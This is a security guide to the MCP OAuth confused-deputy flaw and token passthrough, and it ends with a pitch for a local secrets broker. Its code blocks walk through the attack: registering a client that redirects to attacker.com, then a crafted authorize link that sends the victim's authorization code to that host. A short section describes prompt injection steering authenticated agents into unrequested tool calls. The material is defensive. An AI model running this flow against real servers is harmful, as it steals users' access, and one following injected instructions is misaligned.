GUIDE · MCP 9 min ·

MCP confused deputy: the OAuth proxy mistakeWhy the spec forbids it. Why it keeps shipping.

The Model Context Protocol spec dedicates a full section to one specific OAuth mistake. The mistake is not subtle. Real MCP servers keep shipping with it anyway.

TL;DR· the answer, in twenty seconds

What it is: An MCP proxy server uses a static client ID with a third-party OAuth provider, lets MCP clients dynamically register their own client IDs, and skips per-client consent. An attacker registers a malicious client, sends the user a link, and an authorization code lands on attacker.com because the third-party authorization server sees an existing consent cookie and skips the consent screen.

The spec position: Forbidden. The MCP Security Best Practices page lists four vulnerable conditions and uses MUST on every mitigation: per-client consent, exact redirect_uri matching, server-side state bound to the consent decision, and consent cookies under the __Host- prefix.

What to do this week: Audit any MCP server you operate that fronts a third-party OAuth API. Check for the four conditions. Add the consent screen before the upstream redirect. Stop passing tokens through to downstream APIs without re-issuing them via RFC 8693 token exchange.

The Model Context Protocol spec spends a whole section on one OAuth mistake. The authors drew a sequence diagram for it and put MUST in front of every mitigation. Real MCP servers keep shipping with it anyway.

The mistake is the confused deputy: an MCP proxy uses a static client ID against a third-party authorization server, an attacker rides an old consent cookie, and one click hands authorization codes to a malicious redirect URI.

Below: why the spec calls it out, why MCP proxies keep reintroducing it, what the spec requires, and the sibling problem (token passthrough) that even a correct confused-deputy fix leaves untouched.

What the spec says

The MCP Security Best Practices page defines the confused deputy as "MCP proxy servers that connect to third-party APIs, [creating] vulnerabilities [allowing] malicious clients to obtain authorization codes without proper user consent." Four conditions make it possible:

  1. The MCP proxy uses a static client ID with the third-party authorization server (because the third party does not support dynamic client registration)
  2. The MCP proxy lets MCP clients dynamically register their own client_id values
  3. The third-party authorization server sets a consent cookie after the first authorization
  4. The MCP proxy does not implement per-client consent before forwarding to the third-party

When all four are true, the user authorizes once. The cookie sticks. An attacker registers a malicious MCP client, sends the user a link, the third party sees the cookie, skips consent, and the authorization code is delivered to attacker.com instead of the legitimate redirect URI.

The fix is a per-client consent screen owned by the MCP proxy, run before the third-party flow. Every mitigation in the spec is gated on MUST.

Why MCP proxies keep landing on this

Three forces push toward the wrong implementation.

OAuth proxies look like dumb plumbing. A developer writing an MCP server for Notion sees the Notion OAuth API on one side and the MCP authorization spec on the other. The natural shape is a passthrough: take the MCP client's request, forward it to Notion, return the token. The MCP server does not maintain its own user identity store. Adding a per-client consent screen looks like duplicate work and gets cut.

The third party does not give you a choice on static client IDs. Most consumer SaaS OAuth providers (Notion, Linear, Asana, Slack, half of Atlassian) issue one application credential per integration. There is no per-end-user client ID. The proxy must use a static client ID because the upstream authorization server demands it. The spec authors knew this and put the consent burden on the proxy.

Dynamic client registration in MCP looks like a feature. The MCP authorization spec lets clients register dynamically so any new agent can connect without out-of-band setup. Real usability win. Also the exact condition the confused deputy attack needs: any attacker can register a new client with redirect_uri: attacker.com.

You end up with MCP servers that ship with all four vulnerable conditions on day one, and the maintainers do not see a bug because both sides of the proxy are correct OAuth implementations in isolation.

The attack, in code-block detail

First, the attacker registers a client:

POST /register HTTP/1.1
Host: mcp-proxy-server.com
Content-Type: application/json

{
  "client_name": "Totally Normal Agent",
  "redirect_uris": ["https://attacker.com/cb"],
  "token_endpoint_auth_method": "none"
}

The proxy returns a fresh client_id, records it, and trusts the registered redirect_uri.

Then the attacker sends the victim a link:

https://mcp-proxy-server.com/authorize?
  response_type=code&
  client_id=<attacker_client_id>&
  redirect_uri=https://attacker.com/cb&
  state=...

The user clicks. Their browser already carries a consent cookie from a prior authorization. The proxy never checks its own per-client consent registry, so it redirects straight to the third-party authorization server with its static client ID:

HTTP/1.1 302 Found
Location: https://third-party-authz.example.com/authorize?
  client_id=mcp-proxy-static-id&
  redirect_uri=https://mcp-proxy-server.com/cb&
  state=...

The third-party server sees the static client ID, finds the consent cookie, skips the consent screen, and returns an authorization code to mcp-proxy-server.com/cb. The proxy exchanges that for a third-party access token, mints its own MCP authorization code, and redirects to the attacker-registered URI: https://attacker.com/cb?code=<mcp_code>&state=.... The attacker swaps the MCP code for an MCP token and calls the server as the victim.

The whole flow completes without showing a consent screen the second time.

What "correct" looks like

The spec mandates a per-client consent page owned by the MCP proxy, served before the third-party redirect. The mechanics:

  1. MCP client registers with the MCP proxy and gets a client_id (dynamic registration is fine)
  2. MCP client redirects the user's browser to /authorize?client_id=...
  3. MCP proxy looks up its own consent registry for (user_id, client_id) and finds no prior approval
  4. MCP proxy renders a consent page that names the requesting MCP client, the third-party API, and the registered redirect_uri
  5. User approves
  6. MCP proxy stores (user_id, client_id, approved_at) in its own database
  7. Only now does the MCP proxy redirect to the third-party authorization server

The consent page itself has to do five things that are easy to miss:

  • Display the client name from the registration record, not from a query parameter
  • Display the exact redirect_uri the proxy will honor on callback
  • Reject any mid-flight change to redirect_uri between authorization and callback
  • Use a state parameter that is generated server-side, bound to the consent decision, and one-shot
  • Set the consent cookie with __Host- prefix, plus Secure, HttpOnly, SameSite=Lax

The spec uses MUST on all of the above. The state rule trips people up the most. You cannot set the cookie holding the state value until the user clicks Approve. Set it earlier and the consent screen does nothing. An attacker crafting a malicious authorization request gets the same cookie and walks through the callback check.

The deeper sibling: token passthrough

The same spec page calls out a second anti-pattern under Token Passthrough. The spec forbids it in the same words ("explicitly forbidden in the authorization specification") and for adjacent reasons.

Token passthrough: an MCP server accepts a token from an MCP client, never verifies the token was issued for itself, and forwards the token to a downstream API. The token is valid somewhere, but the MCP server is not its audience.

Why this matters in practice:

  • The downstream API logs show a different identity than the MCP server. Audit trails break.
  • The MCP server cannot enforce its own rate limits, request validation, or scope checks, because the token was never issued under its trust model.
  • An attacker holding a stolen token from any source uses the MCP server as a proxy to reach the downstream API.
  • You cannot retrofit audience claims, scope filtering, or replay detection later because the server never sat in the token-minting path.

The spec mandate: "MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server."

The pattern the spec wants is RFC 8693 token exchange. The client presents its token. The MCP server validates it, then trades it at the authorization server for a new token whose audience is the downstream API. The new token has fresh scope, a new audit record, and a clean break in the trust chain.

Most MCP proxy implementations I have read skip this. They pull the user's stored third-party access token and bolt it onto the downstream HTTP request. The call succeeds. Every audit control the spec asks for breaks.

Identity is not the whole problem

Fix every OAuth flow, audience-bind every token, and the confused deputy still has a back door. Nik Kale's SC Media perspective from May 2026 makes the case: the structural question is not "who made this request?" but "did anyone ask for this?"

The pattern recurs across the indirect-prompt-injection disclosures shipped against agentic platforms through early 2026. A document the agent reads carries hostile instructions. The agent, authenticated with an audience-bound token, runs a tool call the user never requested. Every identity check passes. The audit log shows the user. The request was never the user's intent. Identity controls had nothing to refuse.

Kale's suggested pattern: signed intent digests travel with each tool call ({intent_hash, operation, session_id, signature}). The MCP server verifies the digest matches a recent user-confirmed prompt before running anything dangerous. Draft-then-commit for any tool that writes or sends.

Not in the MCP spec today. It probably belongs in the next revision. Until then, you add it at the application layer if your tools are dangerous enough to need it.

A short audit you can run this week

## MCP proxy server audit

- [ ] Does the server use a static client ID with any third-party authorization server?
- [ ] Does the server allow dynamic client registration?
- [ ] Does the server render its own consent screen before forwarding to the third party?
- [ ] Is per-(user, client_id) consent stored server-side?
- [ ] Are redirect_uri values matched exactly (no pattern matching, no wildcards)?
- [ ] Is the `state` parameter generated server-side, bound to the consent decision, one-shot?
- [ ] Is the consent cookie under `__Host-` prefix with Secure, HttpOnly, SameSite=Lax?
- [ ] Are downstream API calls made with tokens minted via RFC 8693 token exchange?
- [ ] Does the server reject tokens whose audience claim is not its own?
- [ ] Is there any tool call path where the agent can act on injected text without user re-confirmation?

Paste it into your repo's SECURITY.md or your MCP server's design doc. Re-run it whenever the OAuth integration changes.

What this means for your stack

If you run an MCP proxy in front of any third-party OAuth API, audit it against the four vulnerable conditions today. The condition teams miss most is per-client consent for dynamically registered clients. The fix is not exotic: a consent screen, a (user_id, client_id, approved_at) table, and one redirect re-ordering.

If your MCP server accepts tokens from clients and forwards them downstream, stop. Use token exchange. The first SOC 2 access-controls audit surfaces passthrough as a finding.

The architectural pattern that closes both gaps: a local broker holds long-lived credentials in an encrypted vault, mints short-lived per-operation tokens audience-bound to each downstream service, records each grant in an append-only audit log, and never lets the agent see the underlying credential. The MCP server holds a reference, calls the broker at exec time, gets a token scoped to the next call, and the token disappears the moment the call returns.

hasp is one working implementation. curl -fsSL https://gethasp.com/install.sh | sh, hasp setup, register an MCP server as a target, hand it references instead of tokens. Source-available (FCL-1.0), local-first, macOS and Linux, no account.

The lesson holds whether you use hasp or not. The MCP spec already tells you what to do. The same spec describes what most production proxies are getting wrong. The gap between the spec text and the deployed code is where the next bulk of credential incidents originates.

Sources· cited above, in one place

NEXT STEP~90 seconds

Stop handing the agent your real keys.

hasp keeps secrets in one local encrypted vault, brokers them into the child process at exec, and never lets the agent read the value.

  • Local, encrypted vault — no account, no cloud, no telemetry by default.
  • Brokered run — agent gets a reference, the child process gets the value.
  • Pre-commit + pre-push hooks catch managed values before they ship.
  • Append-only HMAC audit log answers "did the agent touch the prod token?" in seconds.
→ okvault unlocked · binding ./api
→ okgrant once · pid 88421
→ okagent never read

macOS & Linux. Source-available (FCL-1.0, converts to Apache 2.0). No account.

Browse all clusters· eight threads, one index